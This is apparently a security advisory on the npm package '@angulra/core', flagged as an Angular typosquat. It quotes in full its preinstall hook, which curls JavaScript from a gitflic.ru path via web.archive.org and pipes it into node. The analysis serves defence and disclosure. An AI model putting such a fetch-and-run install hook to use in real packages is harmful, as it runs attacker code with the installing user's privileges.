@angulra/core@1.0.67

The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at `npm install` time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name `@angulra/core` resembles Angular ecosystem names while the package description (`Core Libs`) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running `npm install` on this package executes arbitrary remote code with the installing user's privileges.